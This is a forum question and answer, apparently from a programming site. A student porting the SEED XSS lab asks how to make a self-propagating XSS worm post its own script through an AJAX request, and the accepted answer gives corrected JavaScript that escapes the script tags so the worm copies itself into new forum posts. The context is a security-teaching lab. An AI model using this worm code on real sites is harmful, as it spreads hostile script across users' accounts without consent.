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javascriptdom.net-security

Sending <script> tags in ajax content

I'm working on porting this lab: http://www.cis.syr.edu/~wedu/seed/Labs/Attacks_XSS/XSS.pdf

For a project. First, however, I have to be able to complete it myself. I'm trying to work out the self-propogating worm, and having some difficulties. How can I send a script tag through the content? If I try:

var wormCode = getElementById("worm");
var escapedWorm = escape(wormCode.innerHTML);
content="topicTitle=testprop&postText=<script>"+escapedWorm+"</script>&forum=3&action=ptopic";
Ajax.send(content);

The tag breaks out of the larger javascript this sits in. I've also tried splitting it up as :

...+"</scr"+"ipt>&...

but this did not work.

Any tips?

edit: updated with my more recent (and I hope, accurate) attempts.

Solution 
  • var wormCode = getElementById("worm");
var escapedWorm = escape("<" + "script>" + wormCode.innerHTML + "</" + "script>");
content="topicTitle=testprop&forum=3&action=ptopic&postText="+escapedWorm;
Ajax.send(content);

    You aren't escaping the script tags.